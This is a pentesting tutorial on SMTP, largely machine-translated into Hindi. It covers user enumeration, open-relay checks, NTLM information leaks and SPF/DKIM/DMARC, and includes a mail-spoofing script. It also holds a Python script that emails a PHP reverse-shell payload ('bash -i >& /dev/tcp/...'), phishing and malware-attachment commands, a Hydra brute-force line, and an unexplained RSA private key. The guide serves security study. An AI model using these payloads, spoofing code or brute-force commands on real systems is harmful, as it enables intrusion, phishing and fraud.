25,465,587 - Pentesting SMTP/s

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बुनियादी जानकारी

सिंपल मेल ट्रांसफर प्रोटोकॉल (SMTP) एक प्रोटोकॉल है जो ई-मेल भेजने और प्राप्त करने के लिए TCP/IP सूट के भीतर उपयोग किया जाता है। प्राप्तकर्ता के अंत पर संदेशों को कतारबद्ध करने में इसकी सीमाओं के कारण, SMTP अक्सर POP3 या IMAP के साथ उपयोग किया जाता है। ये अतिरिक्त प्रोटोकॉल उपयोगकर्ताओं को एक सर्वर मेलबॉक्स पर संदेशों को संग्रहीत करने और उन्हें समय-समय पर डाउनलोड करने की अनुमति देते हैं।

व्यवहार में, यह सामान्य है कि ई-मेल प्रोग्राम ई-मेल भेजने के लिए SMTP का उपयोग करते हैं, जबकि उन्हें प्राप्त करने के लिए POP3 या IMAP का उपयोग करते हैं। यूनिक्स आधारित सिस्टम पर, sendmail ई-मेल उद्देश्यों के लिए सबसे अधिक उपयोग किया जाने वाला SMTP सर्वर है। Sendmail के रूप में ज्ञात व्यावसायिक पैकेज में एक POP3 सर्वर शामिल है। इसके अलावा, Microsoft Exchange एक SMTP सर्वर प्रदान करता है और POP3 समर्थन शामिल करने का विकल्प देता है।

डिफ़ॉल्ट पोर्ट: 25,465(ssl),587(ssl)

PORT   STATE SERVICE REASON  VERSION
25/tcp open  smtp    syn-ack Microsoft ESMTP 6.0.3790.3959

EMAIL Headers

यदि आपके पास शिकार को आपको एक ईमेल भेजने का अवसर है (उदाहरण के लिए, वेब पृष्ठ के संपर्क फ़ॉर्म के माध्यम से), तो ऐसा करें क्योंकि आप शिकार की आंतरिक टोपोलॉजी के बारे में जान सकते हैं मेल के हेडर को देखकर।

आप एक SMTP सर्वर से एक ईमेल भी प्राप्त कर सकते हैं जो उस सर्वर को एक गैर-मौजूद पते पर ईमेल भेजने की कोशिश कर रहा है (क्योंकि सर्वर हमलावर को एक NDN मेल भेजेगा)। लेकिन, सुनिश्चित करें कि आप ईमेल एक अनुमत पते से भेजें (SPF नीति की जांच करें) और कि आप NDN संदेश प्राप्त कर सकते हैं।

आपको विभिन्न सामग्री भेजने की कोशिश भी करनी चाहिए क्योंकि आप हेडर में अधिक दिलचस्प जानकारी पा सकते हैं जैसे: X-Virus-Scanned: by av.domain.com
आपको EICAR परीक्षण फ़ाइल भेजनी चाहिए।
AV का पता लगाना आपको ज्ञात कमजोरियों का शोषण करने की अनुमति दे सकता है।

Basic actions

Banner Grabbing/Basic connection

SMTP:

nc -vn <IP> 25

SMTPS:

openssl s_client -crlf -connect smtp.mailgun.org:465 #SSL/TLS without starttls command
openssl s_client -starttls smtp -crlf -connect smtp.mailgun.org:587

किसी संगठन के MX सर्वरों को खोजना

dig +short mx google.com

Enumeration

nmap -p25 --script smtp-commands 10.10.10.10
nmap -p25 --script smtp-open-relay 10.10.10.10 -v

NTLM Auth - जानकारी का खुलासा

यदि सर्वर NTLM प्रमाणीकरण (Windows) का समर्थन करता है, तो आप संवेदनशील जानकारी (संस्करण) प्राप्त कर सकते हैं। अधिक जानकारी यहां।

root@kali: telnet example.com 587
220 example.com SMTP Server Banner
>> HELO
250 example.com Hello [x.x.x.x]
>> AUTH NTLM 334
NTLM supported
>> TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=
334 TlRMTVNTUAACAAAACgAKADgAAAAFgooCBqqVKFrKPCMAAAAAAAAAAEgASABCAAAABgOAJQAAAA9JAEkAUwAwADEAAgAKAEkASQBTADAAMQABAAoASQBJAFMAMAAxAAQACgBJAEkAUwAwADEAAwAKAEkASQBTADAAMQAHAAgAHwMI0VPy1QEAAAAA

या स्वचालित करें nmap प्लगइन smtp-ntlm-info.nse के साथ

आंतरिक सर्वर नाम - जानकारी का खुलासा

कुछ SMTP सर्वर एक प्रेषक के पते को स्वचालित रूप से पूरा करते हैं जब "MAIL FROM" कमांड बिना पूर्ण पते के जारी किया जाता है, जिससे इसका आंतरिक नाम प्रकट होता है:

220 somedomain.com Microsoft ESMTP MAIL Service, Version: Y.Y.Y.Y ready at  Wed, 15 Sep 2021 12:13:28 +0200
EHLO all
250-somedomain.com Hello [x.x.x.x]
250-TURN
250-SIZE 52428800
250-ETRN
250-PIPELINING
250-DSN
250-ENHANCEDSTATUSCODES
250-8bitmime
250-BINARYMIME
250-CHUNKING
250-VRFY
250 OK
MAIL FROM: me
250 2.1.0 me@PRODSERV01.somedomain.com....Sender OK

Sniffing

जांचें कि क्या आप पोर्ट 25 से पैकेट्स से कुछ पासवर्ड स्निफ़ कर रहे हैं

Auth bruteforce

Username Bruteforce Enumeration

प्रमाणीकरण हमेशा आवश्यक नहीं है

RCPT TO

$ telnet 1.1.1.1 25
Trying 1.1.1.1...
Connected to 1.1.1.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO x
250 myhost Hello 18.28.38.48, pleased to meet you
MAIL FROM:example@domain.com
250 2.1.0 example@domain.com... Sender ok
RCPT TO:test
550 5.1.1 test... User unknown
RCPT TO:admin
550 5.1.1 admin... User unknown
RCPT TO:ed
250 2.1.5 ed... Recipient ok

VRFY

$ telnet 1.1.1.1 25
Trying 1.1.1.1...
Connected to 1.1.1.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO
501 HELO requires domain address
HELO x
250 myhost Hello 18.28.38.48, pleased to meet you
VRFY root
250 Super-User root@myhost
VRFY blah
550 blah... User unknown

EXPN

$ telnet 1.1.1.1 25
Trying 1.1.1.1...
Connected to 1.1.1.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO
501 HELO requires domain address
HELO x
EXPN test
550 5.1.1 test... User unknown
EXPN root
250 2.1.5 ed.williams@myhost
EXPN sshd
250 2.1.5 sshd privsep sshd@myhost

स्वचालित उपकरण

Metasploit: auxiliary/scanner/smtp/smtp_enum
smtp-user-enum: smtp-user-enum -M <MODE> -u <USER> -t <IP>
Nmap: nmap --script smtp-enum-users <IP>

DSN Reports

डिलीवरी स्टेटस नोटिफिकेशन रिपोर्ट्स: यदि आप किसी संगठन को एक ईमेल एक अमान्य पते पर भेजते हैं, तो संगठन आपको सूचित करेगा कि पता अमान्य था, आपको एक मेल वापस भेजकर। हेडर में लौटाए गए ईमेल में संभावित संवेदनशील जानकारी शामिल होगी (जैसे कि रिपोर्ट के साथ इंटरैक्ट करने वाली मेल सेवाओं का IP पता या एंटी-वायरस सॉफ़्टवेयर की जानकारी)।

Commands

Sending an Email from linux console

sendEmail -t to@domain.com -f from@attacker.com -s <ip smtp> -u "Important subject" -a /tmp/malware.pdf
Reading message body from STDIN because the '-m' option was not used.
If you are manually typing in a message:
- First line must be received within 60 seconds.
- End manual input with a CTRL-D on its own line.

<phishing message>

swaks --to $(cat emails | tr '\n' ',' | less) --from test@sneakymailer.htb --header "Subject: test" --body "please click here http://10.10.14.42/" --server 10.10.10.197

Sending an Email with Python

from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
import smtplib
import sys

lhost = "127.0.0.1"
lport = 443
rhost = "192.168.1.1"
rport = 25 # 489,587

# create message object instance
msg = MIMEMultipart()

# setup the parameters of the message
password = ""
msg['From'] = "attacker@local"
msg['To'] = "victim@local"
msg['Subject'] = "This is not a drill!"

# payload
message = ("<?php system('bash -i >& /dev/tcp/%s/%d 0>&1'); ?>" % (lhost,lport))

print("[*] Payload is generated : %s" % message)

msg.attach(MIMEText(message, 'plain'))
server = smtplib.SMTP(host=rhost,port=rport)

if server.noop()[0] != 250:
print("[-]Connection Error")
exit()

server.starttls()

# Uncomment if log-in with authencation
# server.login(msg['From'], password)

server.sendmail(msg['From'], msg['To'], msg.as_string())
server.quit()

print("[***]successfully sent email to %s:" % (msg['To']))

SMTP Smuggling

SMTP Smuggling भेद्यता ने सभी SMTP सुरक्षा को बायपास करने की अनुमति दी (सुरक्षा के बारे में अधिक जानकारी के लिए अगले अनुभाग को देखें)। SMTP Smuggling के बारे में अधिक जानकारी के लिए देखें:

SMTP Smuggling

Mail Spoofing Countermeasures

संस्थाएँ SPF, DKIM, और DMARC का उपयोग करके उनकी ओर से अनधिकृत ईमेल भेजने से रोकी जाती हैं क्योंकि SMTP संदेशों को धोखा देना आसान है।

इन प्रतिबंधों के लिए एक पूर्ण गाइड https://seanthegeek.net/459/demystifying-dmarc/ पर उपलब्ध है।

SPF

Sender Policy Framework (SPF) एक तंत्र है जो Mail Transfer Agents (MTAs) को यह सत्यापित करने में सक्षम बनाता है कि क्या एक ईमेल भेजने वाला होस्ट संगठनों द्वारा परिभाषित अधिकृत मेल सर्वरों की सूची को पूछकर अधिकृत है। यह सूची, जो IP पते/रेंज, डोमेन और अन्य संस्थाओं को एक डोमेन नाम की ओर से ईमेल भेजने के लिए अधिकृत करती है, SPF रिकॉर्ड में विभिन्न "Mechanisms" को शामिल करती है।

Mechanisms

Wikipedia से:

यह पहचानना भी संभव है कि Qualifiers क्या संकेत करते हैं यदि कोई तंत्र मेल खाता है तो क्या किया जाना चाहिए। डिफ़ॉल्ट रूप से, qualifier "+" का उपयोग किया जाता है (तो यदि कोई तंत्र मेल खाता है, तो इसका मतलब है कि यह अनुमति दी गई है)।
आप आमतौर पर प्रत्येक SPF नीति के अंत में कुछ ऐसा नोट करेंगे: ~all या -all। इसका उपयोग यह संकेत करने के लिए किया जाता है कि यदि भेजने वाला किसी भी SPF नीति से मेल नहीं खाता है, तो आपको ईमेल को अविश्वसनीय (~) के रूप में टैग करना चाहिए या ईमेल को अस्वीकार (-) करना चाहिए।

Qualifiers

नीति के भीतर प्रत्येक तंत्र को चार में से एक qualifier द्वारा पूर्ववर्ती किया जा सकता है ताकि इच्छित परिणाम को परिभाषित किया जा सके:

• +: एक PASS परिणाम के अनुरूप है। डिफ़ॉल्ट रूप से, तंत्र इस qualifier को मानते हैं, जिससे +mx mx के बराबर हो जाता है।
• ?: एक NEUTRAL परिणाम का प्रतिनिधित्व करता है, जिसे NONE (कोई विशिष्ट नीति नहीं) के समान माना जाता है।
• ~: SOFTFAIL को दर्शाता है, जो NEUTRAL और FAIL के बीच एक मध्य भूमि के रूप में कार्य करता है। इस परिणाम को पूरा करने वाले ईमेल आमतौर पर स्वीकार किए जाते हैं लेकिन उचित रूप से चिह्नित होते हैं।
• -: FAIL को इंगित करता है, यह सुझाव देता है कि ईमेल को सीधे अस्वीकार किया जाना चाहिए।

आगामी उदाहरण में, google.com की SPF नीति को दर्शाया गया है। पहले SPF नीति के भीतर विभिन्न डोमेन से SPF नीतियों का समावेश नोट करें:

dig txt google.com | grep spf
google.com.             235     IN      TXT     "v=spf1 include:_spf.google.com ~all"

dig txt _spf.google.com | grep spf
; <<>> DiG 9.11.3-1ubuntu1.7-Ubuntu <<>> txt _spf.google.com
;_spf.google.com.               IN      TXT
_spf.google.com.        235     IN      TXT     "v=spf1 include:_netblocks.google.com include:_netblocks2.google.com include:_netblocks3.google.com ~all"

dig txt _netblocks.google.com | grep spf
_netblocks.google.com.  1606    IN      TXT     "v=spf1 ip4:35.190.247.0/24 ip4:64.233.160.0/19 ip4:66.102.0.0/20 ip4:66.249.80.0/20 ip4:72.14.192.0/18 ip4:74.125.0.0/16 ip4:108.177.8.0/21 ip4:173.194.0.0/16 ip4:209.85.128.0/17 ip4:216.58.192.0/19 ip4:216.239.32.0/19 ~all"

dig txt _netblocks2.google.com | grep spf
_netblocks2.google.com. 1908    IN      TXT     "v=spf1 ip6:2001:4860:4000::/36 ip6:2404:6800:4000::/36 ip6:2607:f8b0:4000::/36 ip6:2800:3f0:4000::/36 ip6:2a00:1450:4000::/36 ip6:2c0f:fb50:4000::/36 ~all"

dig txt _netblocks3.google.com | grep spf
_netblocks3.google.com. 1903    IN      TXT     "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all"

परंपरागत रूप से, किसी भी डोमेन नाम को स्पूफ करना संभव था जिसके पास सही/कोई SPF रिकॉर्ड नहीं था। आजकल, यदि ईमेल किसी डोमेन से आता है जिसके पास एक मान्य SPF रिकॉर्ड नहीं है, तो इसे स्वचालित रूप से अस्वीकृत/अविश्वसनीय के रूप में चिह्नित किया जाएगा।

किसी डोमेन का SPF जांचने के लिए आप ऑनलाइन टूल का उपयोग कर सकते हैं: https://www.kitterman.com/spf/validate.html

DKIM (DomainKeys Identified Mail)

DKIM का उपयोग आउटबाउंड ईमेल पर हस्ताक्षर करने के लिए किया जाता है, जिससे उनके बाहरी मेल ट्रांसफर एजेंट (MTAs) द्वारा मान्यता प्राप्त की जा सके, जो DNS से डोमेन की सार्वजनिक कुंजी को पुनः प्राप्त करते हैं। यह सार्वजनिक कुंजी एक डोमेन के TXT रिकॉर्ड में स्थित होती है। इस कुंजी तक पहुँचने के लिए, चयनकर्ता और डोमेन नाम दोनों को जानना आवश्यक है।

उदाहरण के लिए, कुंजी का अनुरोध करने के लिए, डोमेन नाम और चयनकर्ता आवश्यक हैं। ये मेल हेडर DKIM-Signature में पाए जा सकते हैं, जैसे कि d=gmail.com;s=20120113।

इस जानकारी को प्राप्त करने के लिए एक कमांड इस तरह दिख सकती है:

dig 20120113._domainkey.gmail.com TXT | grep p=
# This command would return something like:
20120113._domainkey.gmail.com. 280 IN   TXT    "k=rsa\; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA1Kd87/UeJjenpabgbFwh+eBCsSTrqmwIYYvywlbhbqoo2DymndFkbjOVIPIldNs/m40KF+yzMn1skyoxcTUGCQs8g3

DMARC (Domain-based Message Authentication, Reporting & Conformance)

DMARC ईमेल सुरक्षा को SPF और DKIM प्रोटोकॉल पर आधारित करके बढ़ाता है। यह नीतियों को रेखांकित करता है जो विशेष डोमेन से ईमेल के प्रबंधन में मेल सर्वरों का मार्गदर्शन करती हैं, जिसमें प्रमाणीकरण विफलताओं से निपटने और ईमेल प्रोसेसिंग क्रियाओं के बारे में रिपोर्ट भेजने के स्थान शामिल हैं।

DMARC रिकॉर्ड प्राप्त करने के लिए, आपको उपडोमेन _dmarc को क्वेरी करना होगा

# Reject
dig _dmarc.facebook.com txt | grep DMARC
_dmarc.facebook.com.	3600	IN	TXT	"v=DMARC1; p=reject; rua=mailto:a@dmarc.facebookmail.com; ruf=mailto:fb-dmarc@datafeeds.phishlabs.com; pct=100"

# Quarantine
dig _dmarc.google.com txt | grep DMARC
_dmarc.google.com.	300	IN	TXT	"v=DMARC1; p=quarantine; rua=mailto:mailauth-reports@google.com"

# None
dig _dmarc.bing.com txt | grep DMARC
_dmarc.bing.com.	3600	IN	TXT	"v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMARC@microsoft.com;"

DMARC टैग

उपडोमेन के बारे में क्या?

यहां से यहां.
आपको प्रत्येक उपडोमेन के लिए अलग SPF रिकॉर्ड होना चाहिए जिससे आप मेल भेजना चाहते हैं।
यह निम्नलिखित मूल रूप से openspf.org पर पोस्ट किया गया था, जो इस तरह की चीजों के लिए एक शानदार संसाधन था।

डेमन प्रश्न: उपडोमेन के बारे में क्या?

यदि मुझे pielovers.demon.co.uk से मेल मिलता है, और pielovers के लिए कोई SPF डेटा नहीं है, तो क्या मुझे एक स्तर पीछे जाकर demon.co.uk के लिए SPF का परीक्षण करना चाहिए? नहीं। डेमन पर प्रत्येक उपडोमेन एक अलग ग्राहक है, और प्रत्येक ग्राहक की अपनी नीति हो सकती है। डेमन की नीति का सभी ग्राहकों पर डिफ़ॉल्ट रूप से लागू होना समझ में नहीं आता; यदि डेमन ऐसा करना चाहता है, तो वह प्रत्येक उपडोमेन के लिए SPF रिकॉर्ड सेट कर सकता है।

इसलिए SPF प्रकाशकों के लिए सलाह यह है: आपको प्रत्येक उपडोमेन या होस्टनाम के लिए एक SPF रिकॉर्ड जोड़ना चाहिए जिसमें A या MX रिकॉर्ड हो।

वाइल्डकार्ड A या MX रिकॉर्ड वाले साइटों के पास भी वाइल्डकार्ड SPF रिकॉर्ड होना चाहिए, इस रूप में: * IN TXT "v=spf1 -all"

यह समझ में आता है - एक उपडोमेन भौगोलिक रूप से अलग स्थान पर हो सकता है और इसका SPF परिभाषा बहुत अलग हो सकता है।

ओपन रिले

जब ईमेल भेजे जाते हैं, तो यह सुनिश्चित करना कि उन्हें स्पैम के रूप में चिह्नित नहीं किया जाता है, महत्वपूर्ण है। यह अक्सर प्राप्तकर्ता द्वारा विश्वसनीय रिले सर्वर के उपयोग के माध्यम से प्राप्त किया जाता है। हालाँकि, एक सामान्य चुनौती यह है कि व्यवस्थापक यह नहीं जानते कि कौन से IP रेंज सुरक्षित हैं। इस समझ की कमी SMTP सर्वर को सेटअप करने में गलतियों का कारण बन सकती है, जो सुरक्षा आकलनों में अक्सर पहचानी जाती है।

एक वर्कअराउंड जो कुछ व्यवस्थापक ईमेल वितरण समस्याओं से बचने के लिए उपयोग करते हैं, विशेष रूप से संभावित या चल रहे ग्राहकों के साथ संचार के संबंध में, वह है किसी भी IP पते से कनेक्शन की अनुमति देना। यह SMTP सर्वर के mynetworks पैरामीटर को सभी IP पते स्वीकार करने के लिए कॉन्फ़िगर करके किया जाता है, जैसा कि नीचे दिखाया गया है:

mynetworks = 0.0.0.0/0

एक मेल सर्वर यह जांचने के लिए कि क्या यह एक ओपन रिलेज है (जिसका मतलब है कि यह किसी भी बाहरी स्रोत से ईमेल को अग्रेषित कर सकता है), nmap टूल का सामान्यत: उपयोग किया जाता है। इसमें इसे परीक्षण करने के लिए एक विशेष स्क्रिप्ट शामिल है। एक सर्वर पर वर्बोज़ स्कैन करने के लिए (उदाहरण के लिए, IP 10.10.10.10 के साथ) पोर्ट 25 पर nmap का उपयोग करते हुए कमांड है:

nmap -p25 --script smtp-open-relay 10.10.10.10 -v

उपकरण

• https://github.com/serain/mailspoof SPF और DMARC गलत कॉन्फ़िगरेशन की जांच करें
• https://pypi.org/project/checkdmarc/ स्वचालित रूप से SPF और DMARC कॉन्फ़िगरेशन प्राप्त करें

स्पूफ ईमेल भेजें

• https://www.mailsploit.com/index
• http://www.anonymailer.net/
• https://emkei.cz/

या आप एक उपकरण का उपयोग कर सकते हैं:

• https://github.com/magichk/magicspoofing

# This will send a test email from test@victim.com to destination@gmail.com
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com
# But you can also modify more options of the email
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com --subject TEST --sender administrator@victim.com

-----BEGIN RSA PRIVATE KEY-----
MIICXgIBAAKBgQDdkohAIWT6mXiHpfAHF8bv2vHTDboN2dl5pZKG5ZSHCYC5Z1bt
spr6chlrPUX71hfSkk8WxnJ1iC9Moa9sRzdjBrxPMjRDgP8p8AFdpugP5rJJXExO
pkZcdNPvCXGYNYD86Gpous6ubn6KhUWwDD1bw2UFu53nW/AK/EE4/jeraQIDAQAB
AoGAe31lrsht7TWH9aJISsu3torCaKyn23xlNuVO6xwdUb28Hpk327bFpXveKuS1
koxaLqQYrEriFBtYsU8T5Dc06FQAVLpUBOn+9PcKlxPBCLvUF+/KbfHF0q1QbeZR
fgr+E+fPxwVPxxk3i1AwCP4Cp1+bz2s58wZXlDBkWZ2YJwECQQD/f4bO2lnJz9Mq
1xsL3PqHlzIKh+W+yiGmQAELbgOdX4uCxMxjs5lwGSACMH2nUwXx+05RB8EM2m+j
ZBTeqxDxAkEA3gHyUtVenuTGClgYpiwefaTbGfYadh0z2KmiVcRqWzz3hDUEWxhc
GNtFT8wzLcmRHB4SQYUaS0Df9mpvwvdB+QJBALGv9Qci39L0j/15P7wOYMWvpwOf
422+kYxXcuKKDkWCTzoQt7yXCRzmvFYJdznJCZdymNLNu7q+p2lQjxsUiWECQQCI
Ms2FP91ywYs1oWJN39c84byBKtiFCdla3Ib48y0EmFyJQTVQ5ZrqrOrSz8W+G2Do
zRIKHCxLapt7w0SZabORAkEAxvm5pd2MNVqrqMJHbukHY1yBqwm5zVIYr75eiIDP
K9B7U1w0CJFUk6+4Qutr2ROqKtNOff9KuNRLAOiAzH3ZbQ==
-----END RSA PRIVATE KEY-----

या आप इसे मैन्युअल रूप से कर सकते हैं:

# यह एक अस्वीकृत संदेश भेजेगा
mail("your_email@gmail.com", "Test Subject!", "hey! This is a test", "From: administrator@victim.com");

# Code from https://github.com/magichk/magicspoofing/blob/main/magicspoofmail.py

import os
import dkim #pip3 install dkimpy
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.base import MIMEBase

# Set params
destination="destination@gmail.com"
sender="administrator@victim.com"
subject="Test"
message_html="""
<html>
<body>
<h3>This is a test, not a scam</h3>
<br />
</body>
</html>
"""
sender_domain=sender.split("@")[1]

# Prepare postfix
os.system("sudo sed -ri 's/(myhostname) = (.*)/\\1 = "+sender_domain+"/g' /etc/postfix/main.cf")
os.system("systemctl restart postfix")

# Generate DKIM keys
dkim_private_key_path="dkimprivatekey.pem"
os.system(f"openssl genrsa -out {dkim_private_key_path} 1024 2> /dev/null")
with open(dkim_private_key_path) as fh:
dkim_private_key = fh.read()

# Generate email
msg = MIMEMultipart("alternative")
msg.attach(MIMEText(message_html, "html"))
msg["To"] = destination
msg["From"] = sender
msg["Subject"] = subject
headers = [b"To", b"From", b"Subject"]
msg_data = msg.as_bytes()

# Sign email with dkim
## The receiver won't be able to check it, but the email will appear as signed (and therefore, more trusted)
dkim_selector="s1"
sig = dkim.sign(message=msg_data,selector=str(dkim_selector).encode(),domain=sender_domain.encode(),privkey=dkim_private_key.encode(),include_headers=headers)
msg["DKIM-Signature"] = sig[len("DKIM-Signature: ") :].decode()
msg_data = msg.as_bytes()

# Use local postfix relay to send email
smtp="127.0.0.1"
s = smtplib.SMTP(smtp)
s.sendmail(sender, [destination], msg_data)

अधिक जानकारी

इन सुरक्षा उपायों के बारे में अधिक जानकारी प्राप्त करें https://seanthegeek.net/459/demystifying-dmarc/

अन्य फ़िशिंग संकेतक

• डोमेन की उम्र
• आईपी पते की ओर इशारा करने वाले लिंक
• लिंक हेरफेर तकनीकें
• संदिग्ध (असामान्य) अटैचमेंट
• टूटी हुई ईमेल सामग्री
• उपयोग किए गए मान जो मेल हेडर के मानों से भिन्न हैं
• एक मान्य और विश्वसनीय SSL प्रमाणपत्र का अस्तित्व
• वेब सामग्री फ़िल्टरिंग साइटों पर पृष्ठ का सबमिशन

SMTP के माध्यम से एक्सफिल्ट्रेशन

यदि आप SMTP के माध्यम से डेटा भेज सकते हैं यह पढ़ें।

कॉन्फ़िग फ़ाइल

पोस्टफिक्स

आमतौर पर, यदि स्थापित है, तो /etc/postfix/master.cf में स्क्रिप्ट होती हैं जो निष्पादित होती हैं जब उदाहरण के लिए एक नया मेल किसी उपयोगकर्ता द्वारा प्राप्त होता है। उदाहरण के लिए, flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient} का अर्थ है कि यदि उपयोगकर्ता मार्क द्वारा नया मेल प्राप्त होता है, तो /etc/postfix/filtering निष्पादित किया जाएगा।

अन्य कॉन्फ़िग फ़ाइलें:

sendmail.cf
submit.cf

संदर्भ

• https://research.nccgroup.com/2015/06/10/username-enumeration-techniques-and-their-value/
• https://www.reddit.com/r/HowToHack/comments/101it4u/what_could_hacker_do_with_misconfigured_smtp/

HackTricks स्वचालित आदेश

Protocol_Name: SMTP    #Protocol Abbreviation if there is one.
Port_Number:  25,465,587     #Comma separated if there is more than one.
Protocol_Description: Simple Mail Transfer Protocol          #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for SMTP
Note: |
SMTP (Simple Mail Transfer Protocol) is a TCP/IP protocol used in sending and receiving e-mail. However, since it is limited in its ability to queue messages at the receiving end, it is usually used with one of two other protocols, POP3 or IMAP, that let the user save messages in a server mailbox and download them periodically from the server.

https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smtp/index.html

Entry_2:
Name: Banner Grab
Description: Grab SMTP Banner
Command: nc -vn {IP} 25

Entry_3:
Name: SMTP Vuln Scan
Description: SMTP Vuln Scan With Nmap
Command: nmap --script=smtp-commands,smtp-enum-users,smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 -p 25 {IP}

Entry_4:
Name: SMTP User Enum
Description: Enumerate uses with smtp-user-enum
Command: smtp-user-enum -M VRFY -U {Big_Userlist} -t {IP}

Entry_5:
Name: SMTPS Connect
Description: Attempt to connect to SMTPS two different ways
Command: openssl s_client -crlf -connect {IP}:465 &&&& openssl s_client -starttls smtp -crlf -connect {IP}:587

Entry_6:
Name: Find MX Servers
Description: Find MX servers of an organization
Command: dig +short mx {Domain_Name}

Entry_7:
Name: Hydra Brute Force
Description: Need Nothing
Command: hydra -P {Big_Passwordlist} {IP} smtp -V

Entry_8:
Name: consolesless mfs enumeration
Description: SMTP enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_ntlm_domain; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_relay; set RHOSTS {IP}; set RPORT 25; run; exit'